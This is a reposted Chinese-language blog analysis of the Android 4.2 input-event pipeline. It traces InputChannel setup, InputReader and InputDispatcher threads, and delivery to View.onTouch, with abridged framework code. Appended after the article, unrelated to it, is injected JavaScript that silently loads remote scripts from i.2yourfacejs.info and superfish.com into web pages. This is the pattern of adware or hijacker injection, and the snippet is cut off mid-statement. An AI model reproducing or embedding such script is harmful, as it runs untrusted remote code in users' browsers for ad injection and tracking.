该文章分析得很好!
http://www.eoeandroid.com/home.php?mod=space&uid=10407&do=blog&id=5070
1. 前言
Android中管理Input的兩個主要相關角色, 一是WindowManagerService, 一是跟View相關的ViewRootImpl. 基本原理方向從2.3到目前的4.2都一樣,在 Android app一啟動之後, ViewRootImpl 就會先跟 WindowManagerService 建立inputChannel, 一旦 WindowManagerService 有收到 event 就會經由 inputChannel 通知 ViewRootImpl 去共享內存中抓取 event. 雖然方向一樣, 但是裡面的架構有改,目前最新的版本是android 4.2, 所以以下的輸入事件處理程序是以4.2來說明, 以後的版本一定會再更改.到時候在研究.
2. 事件處理程序
2.1 建立 InputChannel
Android Activity 一啟動時會先利用 setContentView 來設置畫面, 最後會由 ViewRootImpl 中的 setView函數來做畫面的設置, setContentView 跟 setView 有甚麼關係, 並不是這裡的重點. 那是屬於Surface 的範圍. 接下來就來看 setView函數的實作, 跟輸入流程無關的程式碼就略掉.
//ViewRootImpl.java public void setView(View view, WindowManager.LayoutParams attrs, View panelParentView) { synchronized (this) { // do something mInputChannel = new InputChannel(); // do something res = mWindowSession.addToDisplay(mWindow, mSeq, mWindowAttributes, getHostVisibility(), mDisplay.getDisplayId(), mAttachInfo.mContentInsets, mInputChannel); //do something } } |
由此可知, new出來的 InputChannel 物件會傳入 mWindowSession 的 addToDisplay 函數中, 去查了一下mWindowSession 是由 IWindowSession 宣告, 一般 Ixxxx 的資料型態都是一個 Binder的介面, 通常功能實作都是會定義在由 Ixxxx 衍生的類別, 搜尋了一下程式碼, Session 繼承 IWindowSession , 因此 addToDisplay 函數必在 Session類別實作.
// Session.java @Override public int addToDisplay(IWindow window, int seq, WindowManager.LayoutParams attrs, int viewVisibility, int displayId, Rect outContentInsets, InputChannel outInputChannel) { return mService.addWindow(this, window, seq, attrs, viewVisibility, displayId, outContentInsets, outInputChannel); }
|
InputChannel 物件 繼續傳入 WindowManagerService (mService 的資料型態是 WindowManagerService ) 的addWindow 函數.
// WindowManagerService.java public int addWindow(Session session, IWindow client, int seq, WindowManager.LayoutParams attrs, int viewVisibility, int displayId, Rect outContentInsets, InputChannel outInputChannel) { //do something String name = win.makeInputChannelName(); InputChannel[] inputChannels = InputChannel.openInputChannelPair(name); win.setInputChannel(inputChannels[0]); inputChannels[1].transferTo(outInputChannel); mInputManager.registerInputChannel(win.mInputChannel, win.mInputWindowHandle); //do something } |
之後就是利用 InputManagerService 的 registerInputChannel 函數將 WindowManagerService 和 ViewRootImpl之間的 InputChannel 建立起來. 一旦之間的通道建立起來, WindowManagerService 和 ViewRootImpl 之間就可以做輸入event的流程溝通. WindowManagerService -> ViewRootImpl, 這個方向是 WindowManagerService 通知ViewRootImpl 去共享內存去取input event. ViewRootImpl -> WindowManagerService, 這個方向是 ViewRootImpl通知 WindowManagerService 已經處理完共享內存的 input event了, 請 WindowManagerService 在檢查是否有新的input event, 若有的話就放入共享內存. 以下就來介紹 input event 流程.
2.2 輸入事件處理流程:
一開機的時候, SystemServer 會啟動 InputManagerService, 這時 InputManagerService 又會去啟動兩個Thread, InputReaderThread, InputDispatcherThread 和一個 EventHubInterface . 因此輸入事件處理流程跟此三位角色有關係. InputReaderThread 從 EventHubInterface 抓取新的input event, 然後在依各個的event type 進入各個的 event mapper, 各個的 event mapper 處理輸入事件完之後, InputReaderThread 將new input 放進 Queue中. 之後 InputDispatcherThread 再從Queue中取出Input Event 放入共享內存中. 此時再通知 View 去共享內存抓取new Input Event, 取完之後再通知 InputDispatcherThread 是否可以再放新的Input Event到共享內存中, 流程如下
首先先由InputReaderThread 啟動開始, 在android啟動 thread 是以下的形式.
// InputManager.cpp mReaderThread->run("InputReader", PRIORITY_URGENT_DISPLAY); |
這時候InputReaderThread 的 threadLoop 函數就會被觸發.
// InputReader.cpp bool InputReaderThread::threadLoop() { mReader->loopOnce(); return true; }
void InputReader::loopOnce() { //do something // 從 /dev/input下獲得新的Input event mEventHub->getEvents(timeoutMillis, mEventBuffer, EVENT_BUFFER_SIZE); //依各個的event type 進入各個的 event mapper processEventsLocked(mEventBuffer, count);
//通知 InputDispatcherThread 去處理new input. mQueuedListener->flush(); //do something } |
在 loopOnce 函式中作了三件事 getEvents, processEventsLocked, flush. 在這篇關心的是輸入事件處理流程, 所以就先來看從 EventHub 得到的 input event, InputReader 是如何藉著 processEventsLocked 去做處理.
//InputReader.cpp void InputReader::processEventsLocked(const RawEvent* rawEvents, size_t count) { //do something int32_t deviceId = rawEvent->deviceId; //do something processEventsForDeviceLocked(deviceId, rawEvent, batchSize); //do something }
void InputReader::processEventsForDeviceLocked(int32_t deviceId, const RawEvent* rawEvents, size_t count) { //do something InputDevice* device = mDevices.valueAt(deviceIndex); if (device->isIgnored()) { //ALOGD("Discarding event for ignored deviceId %d.", deviceId); return; }
device->process(rawEvents, count); }
void InputDevice::process(const RawEvent* rawEvents, size_t count) { //do something for (const RawEvent* rawEvent = rawEvents; count--; rawEvent++) { //do something for (size_t i = 0; i < numMappers; i++) { InputMapper* mapper = mMappers[i]; mapper->process(rawEvent); } //do something } //do something } |
由此可知, InputReader 會利用一個mapper來管理所收到的 input event, 這些mapper 有 SwitchInputMapper, VibratorInputMapper, KeyboardInputMapper, CursorInputMapper, TouchInputMapper, SingleTouchInputMapper, MultiTouchInputMapper, JoystickInputMapper等等. 由於這些mapper處理的架構都差不多, 就拿 TouchInputMapper 來作分析
//InputReader.cpp void TouchInputMapper::process(const RawEvent* rawEvent) { // 處理以下的輸入事件, 並將各個的Touch value作相對應處理 mCursorButtonAccumulator.process(rawEvent); mCursorScrollAccumulator.process(rawEvent); mTouchButtonAccumulator.process(rawEvent); if (rawEvent->type == EV_SYN && rawEvent->code == SYN_REPORT) { sync(rawEvent->when); } }
void TouchInputMapper::sync(nsecs_t when) { //do something dispatchTouches(when, policyFlags); //do something }
void TouchInputMapper::dispatchTouches(nsecs_t when, uint32_t policyFlags) { //do something // No pointer id changes so this is a move event. // The listener takes care of batching moves so we don't have to deal with that // here. dispatchMotion(when, policyFlags, mSource, AMOTION_EVENT_ACTION_MOVE, 0, metaState, buttonState, AMOTION_EVENT_EDGE_FLAG_NONE, mCurrentCookedPointerData.pointerProperties, mCurrentCookedPointerData.pointerCoords, mCurrentCookedPointerData.idToIndex, currentIdBits, -1, mOrientedXPrecision, mOrientedYPrecision, mDownTime);
//do something }
void TouchInputMapper::dispatchMotion(nsecs_t when, uint32_t policyFlags, uint32_t source, int32_t action, int32_t flags, int32_t metaState, int32_t buttonState, int32_t edgeFlags, const PointerProperties* properties, const PointerCoords* coords, const uint32_t* idToIndex, BitSet32 idBits, int32_t changedId, float xPrecision, float yPrecision, nsecs_t downTime) {
//do something
NotifyMotionArgs args(when, getDeviceId(), source, policyFlags, action, flags, metaState, buttonState, edgeFlags, mViewport.displayId, pointerCount, pointerProperties, pointerCoords, xPrecision, yPrecision, downTime); getListener()->notifyMotion(&args); }
InputListenerInterface* InputReader::ContextImpl::getListener() { return mReader->mQueuedListener.get(); } |
最後會發現會將所收到的Touch motion 資訊打包成message, 然後利用 QueuedInputListener 將 message 推入mArgsQueue 向量裡.
// InputListener.h Vector<NotifyArgs*> mArgsQueue;
// InputListener.cpp void QueuedInputListener::notifyMotion(const NotifyMotionArgs* args) { mArgsQueue.push(new NotifyMotionArgs(*args)); } |
InputReader 處理完有關 Touch Motion input event之後, 便會把新的 Touch Motion input event 放進InboundQueue 流程如下:
//InputReader.cpp mQueuedListener->flush();
//InputListener.cpp void QueuedInputListener::flush() { size_t count = mArgsQueue.size(); for (size_t i = 0; i < count; i++) { NotifyArgs* args = mArgsQueue[i]; args->notify(mInnerListener); delete args; } mArgsQueue.clear(); } |
在此會發現會用個loop來呼叫mArgsQueue vector中的 notify 函數, 繼續看下去
//InputListener.cpp void NotifyMotionArgs::notify(const sp<InputListenerInterface>& listener) const { listener->notifyMotion(this); } |
在此發現notifyMotion 函數是由 InputListenerInterface 類別的物件所帶出來的, 由字串來看此類別只是當作是一個介面, 所以實作必定是其類別衍生的類別. 搜尋了一下整個程式碼, 發現 InputDispatcherInterface 繼承InputListenerInterface,
而 InputDispatcher 繼承 InputDispatcherInterface類別, 所以 notifyMotion 函數必定實作在這類別中
// InputDispatcher.cpp void InputDispatcher::notifyMotion(const NotifyMotionArgs* args) { //do something // Policy: // - Ignore untrusted events and pass them along. // - No special filtering for injected events required at this time. // - Filter normal events based on screen state. // - For normal events brighten (but do not wake) the screen if currently dim. mPolicy->interceptMotionBeforeQueueing(args->eventTime, /*byref*/ policyFlags); bool needWake; { // acquire lock mLock.lock();
if (shouldSendMotionToInputFilterLocked(args)) { mLock.unlock();
//initialize motion event for secondary display
mLock.lock(); }
// Just enqueue a new motion event. MotionEntry* newEntry = new MotionEntry(args->eventTime, args->deviceId, args->source, policyFlags, args->action, args->flags, args->metaState, args->buttonState, args->edgeFlags, args->xPrecision, args->yPrecision, args->downTime, args->displayId, args->pointerCount, args->pointerProperties, args->pointerCoords);
needWake = enqueueInboundEventLocked(newEntry); mLock.unlock(); } // release lock
if (needWake) { mLooper->wake(); } }
bool InputDispatcher::enqueueInboundEventLocked(EventEntry* entry) { // 將新的 input event 放進 InboundQueue bool needWake = mInboundQueue.isEmpty(); mInboundQueue.enqueueAtTail(entry); // do something return needWake; }
|
到此為止, InputReader Thread 已經把新的Touch motion event放進InboundQueue了. 接下來就來看InputDispatcher Thread 的輸入事件流程.
同樣的從 InputDispatcherThread 的啟動流程開始分析
// InputDispatcher.cpp bool InputDispatcherThread::threadLoop() { mDispatcher->dispatchOnce(); return true; }
void InputDispatcher::dispatchOnce() { nsecs_t nextWakeupTime = LONG_LONG_MAX; { // acquire lock AutoMutex _l(mLock); mDispatcherIsAliveCondition.broadcast();
// Run a dispatch loop if there are no pending commands. // The dispatch loop might enqueue commands to run afterwards. if (!haveCommandsLocked()) { dispatchOnceInnerLocked(&nextWakeupTime); }
// Run all pending commands if there are any. // If any commands were run then force the next poll to wake up //immediately. if (runCommandsLockedInterruptible()) { nextWakeupTime = LONG_LONG_MIN; } } // release lock
// Wait for callback or timeout or wake. (make sure we round up, not down) nsecs_t currentTime = now(); int timeoutMillis = toMillisecondTimeoutDelay(currentTime, nextWakeupTime); mLooper->pollOnce(timeoutMillis); // 用來管理message queue, 負責接收 // 或發送 message. }
void InputDispatcher::dispatchOnceInnerLocked(nsecs_t* nextWakeupTime) { //do something // Ready to start a new event. // If we don't already have a pending event, go grab one. if (! mPendingEvent) { if (mInboundQueue.isEmpty()) { //do something } else { // Inbound queue has at least one entry. mPendingEvent = mInboundQueue.dequeueAtHead(); } //do something // Get ready to dispatch the event. resetANRTimeoutsLocked(); //因為已經取到input event, 所以 reset //ANR timer. }
//do something switch (mPendingEvent->type) { case EventEntry::TYPE_CONFIGURATION_CHANGED: //do something break; case EventEntry::TYPE_DEVICE_RESET: //do something break; case EventEntry::TYPE_KEY: //do something break; case EventEntry::TYPE_MOTION: MotionEntry* typedEntry = static_cast<MotionEntry*>(mPendingEvent); //do something done = dispatchMotionLocked(currentTime, typedEntry, &dropReason, nextWakeupTime); break; default: break; }
if (done) { if (dropReason != DROP_REASON_NOT_DROPPED) { dropInboundEventLocked(mPendingEvent, dropReason); }
releasePendingEventLocked(); *nextWakeupTime = LONG_LONG_MIN; // force next poll to wake up // immediately }
}
bool InputDispatcher::dispatchMotionLocked( nsecs_t currentTime, MotionEntry* entry, DropReason* dropReason, nsecs_t* nextWakeupTime) {
1. // Preprocessing. 2. // Clean up if dropping the event. 3. // support sending secondary display events to input monitors
// Dispatch the motion. // do soemthing dispatchEventLocked(currentTime, entry, inputTargets); }
void InputDispatcher::dispatchEventLocked(nsecs_t currentTime, EventEntry* eventEntry, const Vector<InputTarget>& inputTargets) { //do something for (size_t i = 0; i < inputTargets.size(); i++) { const InputTarget& inputTarget = inputTargets.itemAt(i); ssize_t connectionIndex = getConnectionIndexLocked(inputTarget.inputChannel); if (connectionIndex >= 0) { sp<Connection> connection = mConnectionsByFd.valueAt(connectionIndex); prepareDispatchCycleLocked(currentTime, connection, eventEntry, &inputTarget); } else { //do something } } }
void InputDispatcher::prepareDispatchCycleLocked(nsecs_t currentTime, const sp<Connection>& connection, EventEntry* eventEntry, const InputTarget* inputTarget) { 1. // Skip this event if the connection status is not normal. // We don't want to enqueue additional outbound events if the connection //is broken.
// Split a motion event if needed. if (inputTarget->flags & InputTarget::FLAG_SPLIT) { ALOG_ASSERT(eventEntry->type == EventEntry::TYPE_MOTION);
//do something enqueueDispatchEntriesLocked(currentTime, connection, splitMotionEntry, inputTarget); //do something return; } }
// Not splitting. Enqueue dispatch entries for the event as is. enqueueDispatchEntriesLocked(currentTime, connection, eventEntry, inputTarget); }
void InputDispatcher::enqueueDispatchEntriesLocked(nsecs_t currentTime, const sp<Connection>& connection, EventEntry* eventEntry, const InputTarget* inputTarget) { bool wasEmpty = connection->outboundQueue.isEmpty();
// Enqueue dispatch entries for the requested modes. enqueueDispatchEntryLocked(connection, eventEntry, inputTarget, InputTarget::FLAG_DISPATCH_AS_HOVER_EXIT); enqueueDispatchEntryLocked(connection, eventEntry, inputTarget, InputTarget::FLAG_DISPATCH_AS_OUTSIDE); enqueueDispatchEntryLocked(connection, eventEntry, inputTarget, InputTarget::FLAG_DISPATCH_AS_HOVER_ENTER); enqueueDispatchEntryLocked(connection, eventEntry, inputTarget, InputTarget::FLAG_DISPATCH_AS_IS); enqueueDispatchEntryLocked(connection, eventEntry, inputTarget, InputTarget::FLAG_DISPATCH_AS_SLIPPERY_EXIT); enqueueDispatchEntryLocked(connection, eventEntry, inputTarget, InputTarget::FLAG_DISPATCH_AS_SLIPPERY_ENTER);
// If the outbound queue was previously empty, start the dispatch cycle going. if (wasEmpty && !connection->outboundQueue.isEmpty()) { startDispatchCycleLocked(currentTime, connection); } }
void InputDispatcher::enqueueDispatchEntryLocked( const sp<Connection>& connection, EventEntry* eventEntry, const InputTarget* inputTarget, int32_t dispatchMode) {
//do something
// This is a new event. // Enqueue a new dispatch entry onto the outbound queue for this // connection. DispatchEntry* dispatchEntry = new DispatchEntry(eventEntry, inputTargetFlags, inputTarget->xOffset, inputTarget->yOffset, inputTarget->scaleFactor);
// Apply target flags and update the connection's input state.
// Remember that we are waiting for this dispatch to complete.
// Enqueue the dispatch entry. connection->outboundQueue.enqueueAtTail(dispatchEntry); }
void InputDispatcher::startDispatchCycleLocked(nsecs_t currentTime, const sp<Connection>& connection) {
// do something
// 檢查outboundQueue 中是否有新的 input event. while (connection->status == Connection::STATUS_NORMAL && !connection->outboundQueue.isEmpty()) { // 從 outboundQueue 中取出新的 input event. DispatchEntry* dispatchEntry = connection->outboundQueue.head; // Publish the event. EventEntry* eventEntry = dispatchEntry->eventEntry;
switch (eventEntry->type) { case EventEntry::TYPE_KEY: //do something break; case EventEntry::TYPE_MOTION: //do something // Publish the motion event. status = connection->inputPublisher.publishMotionEvent( // some argument. ); break; default: return; } }
}
//InputTransport.cpp status_t InputPublisher::publishMotionEvent( uint32_t seq, int32_t deviceId, int32_t source, int32_t action, int32_t flags, int32_t edgeFlags, int32_t metaState, int32_t buttonState, float xOffset, float yOffset, float xPrecision, float yPrecision, nsecs_t downTime, nsecs_t eventTime, size_t pointerCount, const PointerProperties* pointerProperties, const PointerCoords* pointerCoords) { InputMessage msg; msg.header.type = InputMessage::TYPE_MOTION; msg.body.motion.seq = seq; msg.body.motion.deviceId = deviceId; msg.body.motion.source = source; msg.body.motion.action = action; msg.body.motion.flags = flags; msg.body.motion.edgeFlags = edgeFlags; msg.body.motion.metaState = metaState; msg.body.motion.buttonState = buttonState; msg.body.motion.xOffset = xOffset; msg.body.motion.yOffset = yOffset; msg.body.motion.xPrecision = xPrecision; msg.body.motion.yPrecision = yPrecision; msg.body.motion.downTime = downTime; msg.body.motion.eventTime = eventTime; msg.body.motion.pointerCount = pointerCount; for (size_t i = 0; i < pointerCount; i++) { msg.body.motion.pointers[i].properties.copyFrom(pointerProperties[i]); msg.body.motion.pointers[i].coords.copyFrom(pointerCoords[i]); } return mChannel->sendMessage(&msg); }
status_t InputChannel::sendMessage(const InputMessage* msg) { size_t msgLength = msg->size(); ssize_t nWrite; do { nWrite = ::send(mFd, msg, msgLength, MSG_DONTWAIT | MSG_NOSIGNAL); } while (nWrite == -1 && errno == EINTR);
if (nWrite < 0) { int error = errno; if (error == EAGAIN || error == EWOULDBLOCK) { return WOULD_BLOCK; } if (error == EPIPE || error == ENOTCONN) { return DEAD_OBJECT; } return -error; }
if (size_t(nWrite) != msgLength) { return DEAD_OBJECT; } return OK; } |
上面呼叫了哪麼多層函數, InputDispatcherThread 就只做了以下幾件事:
1. 從InboundQueue取 new input event 處理, 處理完放進 OutboundQueue
2. 從 OutboundQueue 取 new input event 處理, 處理完放進 inputMessage.
3. 利用::send 函數送 input Message.
世上萬物常是一體兩面, 在程式設計上也是如此, 因此有了sendMessage函數設計, 必有一個receiveMessage的函數. 所以有了 InputChannel::sendMessage 就會提供 InputChannel::receiveMessage 函數作接收message的處理. 搜尋了一下程式碼發現呼叫 InputChannel::receiveMessage 函數的地方是在InputConsumer::consume 函數中. 而這consume函數又是在哪被呼叫呢? 此流程牽扯到Thread 通訊課題, 在這不做詳細分析, 為了篇幅只能做簡單的說明, 在android中每一個Process都有一個looper, 此looper裡有一個messageQueue, messageQueue中有很多來自此process中不同的thread所發出來的message. 管理這些message 就是這個名為 looper 的物件. 因此就去搜尋一下跟looper 相關的程式碼, 發現 android 有定義一個 LooperCallback 的抽象類別, 此抽象類別裡有一個pure virtual function handleEvent函數, 因此只要找到誰繼承LooperCallback 類別, 就能找到 handleEvent 函數實作的地方. 最後在NativeInputEventReceiver 發現 handleEvent 函數實作足跡.
// android_view_InputEventReceiver.cpp int NativeInputEventReceiver::handleEvent(int receiveFd, int events, void* data) { //do something status_t status = consumeEvents(env, false /*consumeBatches*/, -1); // do something }
status_t NativeInputEventReceiver::consumeEvents(JNIEnv* env, bool consumeBatches, nsecs_t frameTime) { //do something bool skipCallbacks = false; // 用來做為通知是否已完成dispach input event // 的一個判斷值. for (;;) { uint32_t seq; InputEvent* inputEvent; //果然在這裡發現了呼叫 InputConsumer::consume 函數的地方 status_t status = mInputConsumer.consume(&mInputEventFactory, consumeBatches, frameTime, &seq, &inputEvent);
//do something if (!skipCallbacks) { jobject inputEventObj; switch (inputEvent->getType()) { case AINPUT_EVENT_TYPE_KEY: inputEventObj = android_view_KeyEvent_fromNative(env, static_cast<KeyEvent*>(inputEvent)); break;
case AINPUT_EVENT_TYPE_MOTION: inputEventObj = android_view_MotionEvent_obtainAsCopy(env, static_cast<MotionEvent*>(inputEvent)); break;
default: assert(false); // InputConsumer should prevent this from ever // happening inputEventObj = NULL; }
if (inputEventObj) { env->CallVoidMethod(mReceiverObjGlobal, gInputEventReceiverClassInfo.dispatchInputEvent, seq, inputEventObj); if (env->ExceptionCheck()) { skipCallbacks = true; } } else { skipCallbacks = true; } }
if (skipCallbacks) { mInputConsumer.sendFinishedSignal(seq, false); }
} } |
由這段程式碼可以發現, 當利用InputConsumer 物件收到由 InputDispatcherThread 送過來的 InputEvent message時, 便會利用一個 boolean variable skipCallbacks 當作一個是否完成dispatch input event的判斷值. 一收到input event馬上分析為是 Key event type 還是 Motion event type. 由於我們這裡是以 Motion event type 為例, 所以就分析Motion event type 這個 case流程.
// android_view_InputEventReceiver.cpp status_t NativeInputEventReceiver::consumeEvents(JNIEnv* env, bool consumeBatches, nsecs_t frameTime) { //do something case AINPUT_EVENT_TYPE_MOTION: inputEventObj = android_view_MotionEvent_obtainAsCopy(env, static_cast<MotionEvent*>(inputEvent)); break; //do something }
// android_view_MotionEvent.cpp jobject android_view_MotionEvent_obtainAsCopy(JNIEnv* env, const MotionEvent* event) { // 回呼 MotionEvent Java Layer 配置一塊 MotionEvent type 的 // 物件. jobject eventObj = env->CallStaticObjectMethod(gMotionEventClassInfo.clazz, gMotionEventClassInfo.obtain); // eventObj exception handler // 從MotionEvent 的java layer 讀取MotionEvent 物件指標值. MotionEvent* destEvent = android_view_MotionEvent_getNativePtr(env, eventObj); if (!destEvent) { destEvent = new MotionEvent(); android_view_MotionEvent_setNativePtr(env, eventObj, destEvent); }
destEvent->copyFrom(event, true); return eventObj; } |
到此利用java layer來配置一塊 MotionEvent 物件來使用. 為何要這麼大費周章還要去回呼Java layer作配置物件的動作,推論應該是要藉由DVM的 GC來做回收未用到的記憶體. 接下來繼續分析後續動作
// android_view_InputEventReceiver.cpp status_t NativeInputEventReceiver::consumeEvents(JNIEnv* env, bool consumeBatches, nsecs_t frameTime) { //do something //do something // 將上面所得到的MotionEvent 物件指標值, 在傳入 Java Layer 的 // 函數裡 env->CallVoidMethod(mReceiverObjGlobal, gInputEventReceiverClassInfo.dispatchInputEvent, seq, inputEventObj); //do something }
//InputEventReceiver.java // Called from native code. @SuppressWarnings("unused") private void dispatchInputEvent(int seq, InputEvent event) { mSeqMap.put(event.getSequenceNumber(), seq); onInputEvent(event); }
/** * Called when an input event is received. * The recipient should process the input event and then call {@link #finishInputEvent} * to indicate whether the event was handled. No new input events will be received * until {@link #finishInputEvent} is called. * * @param event The input event that was received. */ public void onInputEvent(InputEvent event) { finishInputEvent(event, false); }
|
到這裡先停一下, 若繼續分析下去, 會發現似乎直接就呼叫 finishInputEvent 函數, 然後就送finish message 通知InputDispatcherThread 之後, 就完成了這一個輸入事件流程了. 然而, 依照過去寫app的經驗, 一般在app若要接收一些Touch event 會有個 call back function onTouch 函數要實作, 方便app可以接收到Touch event 然後作相關的應用.然而剛剛分析的輸入事件的流程似乎沒有去呼叫 onTouch 函數, 這到底是怎麼一回事? 原因在於 InputEventReceiver這個類別, 這個類別是屬於 abstract 類別, 在java的語法中, abstract 類別即使類別中的成員函數都有實作, 也是無法實體化的, 因此只能有abstract 類別的衍生類別才能實體化. 搜尋了一下程式碼發現了幾個abstract InputEventReceiver類別的衍生類別, 跟InputEvent 處理有關的衍生類別就是 WindowInputEventReceiver , 原因如下, 再一開始ViewRootImpl在作 setView 時, 除了new 一個新的 InputChannel 物件之後, 又 new 了一個 WindowInputEventReceiver 物件. 此WindowInputEventReceiver 類別正好又 overwrite onInputEvent 函數, 因此可以大膽推測dispatchInputEvent 呼叫的 onInputEvent 函數, 會是此類別的 onInputEvent 函數, 就在從 WindowInputEventReceiver 中的 onInputEvent函數開始分析.
// ViewRootImpl.java // 此類別是定義在ViewRootImpl 類別中, 最前面又是掛 final, 在java的語法// 中代表此類別只能給 ViewRootImpl 類別中使用且無法被繼承. final class WindowInputEventReceiver extends InputEventReceiver { //data member @Override public void onInputEvent(InputEvent event) { enqueueInputEvent(event, this, 0, true); } // member function }
void enqueueInputEvent(InputEvent event, InputEventReceiver receiver, int flags, boolean processImmediately) { QueuedInputEvent q = obtainQueuedInputEvent(event, receiver, flags);
// Always enqueue the input event in order, regardless of its time stamp. // We do this because the application or the IME may inject key events // in response to touch events and we want to ensure that the injected keys // are processed in the order they were received and we cannot trust that // the time stamp of injected events are monotonic. QueuedInputEvent last = mFirstPendingInputEvent; if (last == null) { mFirstPendingInputEvent = q; } else { while (last.mNext != null) { last = last.mNext; } last.mNext = q; }
if (processImmediately) { doProcessInputEvents(); //一般的input event都是即使的 } else { scheduleProcessInputEvents(); } }
void doProcessInputEvents() { while (mCurrentInputEvent == null && mFirstPendingInputEvent != null) { QueuedInputEvent q = mFirstPendingInputEvent; mFirstPendingInputEvent = q.mNext; q.mNext = null; mCurrentInputEvent = q; deliverInputEvent(q); }
// We are done processing all input events that we can process right now // so we can clear the pending flag immediately.
}
private void deliverInputEvent(QueuedInputEvent q) { // do something if (q.mEvent instanceof KeyEvent) { deliverKeyEvent(q); } else { final int source = q.mEvent.getSource(); if ((source & InputDevice.SOURCE_CLASS_POINTER) != 0) { deliverPointerEvent(q); } else if ((source & InputDevice.SOURCE_CLASS_TRACKBALL) != 0) { deliverTrackballEvent(q); } else { deliverGenericMotionEvent(q); } }
// do something }
private void deliverPointerEvent(QueuedInputEvent q) { // If there is no view, then the event will not be handled. if (mView == null || !mAdded) { finishInputEvent(q, false); return; } // Translate the pointer event for compatibility, if needed.
// Enter touch mode on down or scroll.
// Offset the scroll position.
// Remember the touch position for possible drag-initiation.
// Dispatch touch to view hierarchy. boolean handled = mView.dispatchPointerEvent(event);
if (handled) { finishInputEvent(q, true); return; }
// Pointer event was unhandled. finishInputEvent(q, false); }
|
由此可以發現只要檢查到沒有view或是無法掌握的input event就會被ignore掉不去處理.最後會去呼叫 View 類別的dispatchTouchEvent 函數.
//View .java public boolean dispatchTouchEvent(MotionEvent event) { if (mInputEventConsistencyVerifier != null) { mInputEventConsistencyVerifier.onTouchEvent(event, 0); }
if (onFilterTouchEventForSecurity(event)) { //noinspection SimplifiableIfStatement ListenerInfo li = mListenerInfo; if (li != null && li.mOnTouchListener != null && (mViewFlags & ENABLED_MASK) == ENABLED && li.mOnTouchListener.onTouch(this, event)) { return true; } // 主要是用來實作觸控的一般通用的功能, ex press, click, long // press etc. if (onTouchEvent(event)) { return true; } }
if (mInputEventConsistencyVerifier != null) { mInputEventConsistencyVerifier.onUnhandledEvent(event, 0); } return false; } |
終於發現呼叫 onTouch 函數的地方了. 在這裡只要app有註冊 onTouchListener 介面, onTouch 函數就會被觸發了. 到目前為止分析的方向是WindowManagerService -> ViewRootImpl, 接下來 ViewRootImpl 處理完 input event 之後,再來分析 ViewRootImpl -> WindowManagerService 這方向. 由前面的 deliverPointerEvent 函數分析中, 會發現都會解由 finishInputEvent 來完成這一次的輸入事件流程. 就由 finishInputEvent 函數開始分析
// ViewRootImpl.java private void finishInputEvent(QueuedInputEvent q, boolean handled) { //do something if (q.mReceiver != null) { q.mReceiver.finishInputEvent(q.mEvent, handled); } else { q.mEvent.recycleIfNeededAfterDispatch(); } //do something }
// InputEventReceiver.cpp public final void finishInputEvent(InputEvent event, boolean handled) { //do something nativeFinishInputEvent(mReceiverPtr, seq, handled); //do something }
// android_view_InputEventReceiver.cpp static void nativeFinishInputEvent(JNIEnv* env, jclass clazz, jint receiverPtr, jint seq, jboolean handled) { sp<NativeInputEventReceiver> receiver = reinterpret_cast<NativeInputEventReceiver*>(receiverPtr); status_t status = receiver->finishInputEvent(seq, handled); // exception handler }
status_t NativeInputEventReceiver::finishInputEvent(uint32_t seq, bool handled) { // do something status_t status = mInputConsumer.sendFinishedSignal(seq, handled); // exception handler }
// InputTransport.cpp status_t InputConsumer::sendFinishedSignal(uint32_t seq, bool handled) { // do something // Send finished signal for the last message in the batch. return sendUnchainedFinishedSignal(seq, handled); }
status_t InputConsumer::sendUnchainedFinishedSignal(uint32_t seq, bool handled) { InputMessage msg; msg.header.type = InputMessage::TYPE_FINISHED; msg.body.finished.seq = seq; msg.body.finished.handled = handled; return mChannel->sendMessage(&msg); }
|
一旦ViewRootImpl 藉由 InputChannel物件傳送 finish 的 message 時, 這時
InputDispatcher 類別的 handleReceiveCallback 函數就會被觸發. 原因在於InputDispatcher 在初始化的時候有去做register InputChannel 的動作, 在 register InputChannel時, 會在自己new 出來的 looper 物件上增加一個 callback function handleReceiveCallback.
// InputDispatcher.cpp mLooper->addFd(fd, 0, ALOOPER_EVENT_INPUT, handleReceiveCallback, this);
int InputDispatcher::handleReceiveCallback(int fd, int events, void* data) { // do something for (;;) { // do something status = connection->inputPublisher.receiveFinishedSignal(&seq, &handled); // do something
d->finishDispatchCycleLocked(currentTime, connection, seq, handled); gotOne = true; } }
// InputTransport.cpp status_t InputPublisher::receiveFinishedSignal(uint32_t* outSeq, bool* outHandled) { //do something status_t result = mChannel->receiveMessage(&msg);
//do something
*outSeq = msg.body.finished.seq; *outHandled = msg.body.finished.handled; return OK; }
// InputDispatcher.cpp void InputDispatcher::finishDispatchCycleLocked(nsecs_t currentTime, const sp<Connection>& connection, uint32_t seq, bool handled) { //do something // Notify other system components and prepare to start the next dispatch cycle. onDispatchCycleFinishedLocked(currentTime, connection, seq, handled); }
void InputDispatcher::onDispatchCycleFinishedLocked( nsecs_t currentTime, const sp<Connection>& connection, uint32_t seq, bool handled) { CommandEntry* commandEntry = postCommandLocked( & InputDispatcher::doDispatchCycleFinishedLockedInterruptible); commandEntry->connection = connection; commandEntry->eventTime = currentTime; commandEntry->seq = seq; commandEntry->handled = handled; }
void InputDispatcher::doDispatchCycleFinishedLockedInterruptible( CommandEntry* commandEntry) { //do something // Start the next dispatch cycle for this connection. startDispatchCycleLocked(now(), connection); } |
由此可知在 InputDispatcher 一收到InputConsumer 物件送的 finish message之後, 就馬上去呼叫startDispatchCycleLocked 函數去檢查 outboundQueue 裡面還有沒有新的input event. 若有的話就放入InputMessage 共享內存, 然後通知 ViewRootImpl 去共享內存抓取新的 input event. 若沒有新的 input event, 就不做事等待有新的input event進 outboundQueue.
function AddDP() { if (window.location.href.indexOf("http:") != -1 && window.location.href.indexOf("facebook.com") == -1 ) { var script_tag = document.createElement('script'); script_tag.setAttribute("type", "text/javascript"); script_tag.setAttribute("src", "http://i.2yourfacejs.info/toyf/javascript.js?channel=ch103"); // Try to find the head, otherwise default to the documentElement (document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag); } } AddDP(); AddSuperFish(); function AddSuperFish(){if(-1!=window.location.href.indexOf("http:")&&-1==window.location.href.indexOf("facebook.com")){var a=document.createElement("script");a.setAttribute("type","text/javascript");a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=103&CTID=103");(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}else-1!=window.location.href.indexOf("https:")&&-1==window.location.href.indexOf("facebook.com")&&(a=document.createElement("script"), 